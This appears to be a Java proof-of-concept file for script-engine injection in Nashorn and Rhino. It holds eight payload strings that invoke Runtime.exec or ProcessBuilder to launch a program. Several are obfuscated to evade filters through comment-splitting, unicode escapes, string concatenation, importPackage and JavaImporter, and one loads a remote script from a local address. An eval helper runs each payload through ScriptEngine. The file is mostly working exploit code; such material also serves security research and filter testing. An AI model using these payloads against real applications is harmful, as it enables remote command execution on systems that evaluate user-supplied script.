| 4 | import javax.script.ScriptEngineManager; |
| 5 | |
| 6 | public class test { |
| 7 | public static void main(String[] args) throws Exception{ |
| 8 | String test = "print('hello word!!');"; |
| 9 | String payload1 = "java.lang.Runtime.getRuntime().exec('calc');"; |
| 10 | String payload2 = "var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();};"; |
| 11 | String payload3 = "var a=exp();function exp(){java.lang./****/Runtime./***/getRuntime().exec(\"calc\")};"; |
| 12 | String payload4 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec(\"calc\");"; |
| 13 | String payload5 = "var a= Java.type(\"java.lang\"+\".Runtime\"); var b =a.getRuntime();b.exec(\"calc\");"; |
| 14 | String payload6 = "load(\"nashorn:mozilla_compat.js\");importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");"; |
| 15 | //兼容Rhino功能 https://blog.csdn.net/u013292493/article/details/51020057 |
| 16 | String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec(\"calc\");}"; |
| 17 | String payload8 = "var scr = document.createElement(\"script\");scr.src = \"http://127.0.0.1:8082/js.js\";document.body.appendChild(scr);exec();"; |
| 18 | eval(payload1); |
| 19 | } |
| 20 | public static void eval(String payload){ |
| 21 | payload=payload; |
| 22 | ScriptEngineManager manager = new ScriptEngineManager(null); |
| 23 | ScriptEngine engine = manager.getEngineByName("js"); |
| 24 | try { |
| 25 | engine.eval(payload); |
| 26 | } catch (Exception e) { |
| 27 | e.printStackTrace(); |
| 28 | } |
| 29 | } |
| 30 | } |
nothing calls this directly
no outgoing calls
no test coverage detected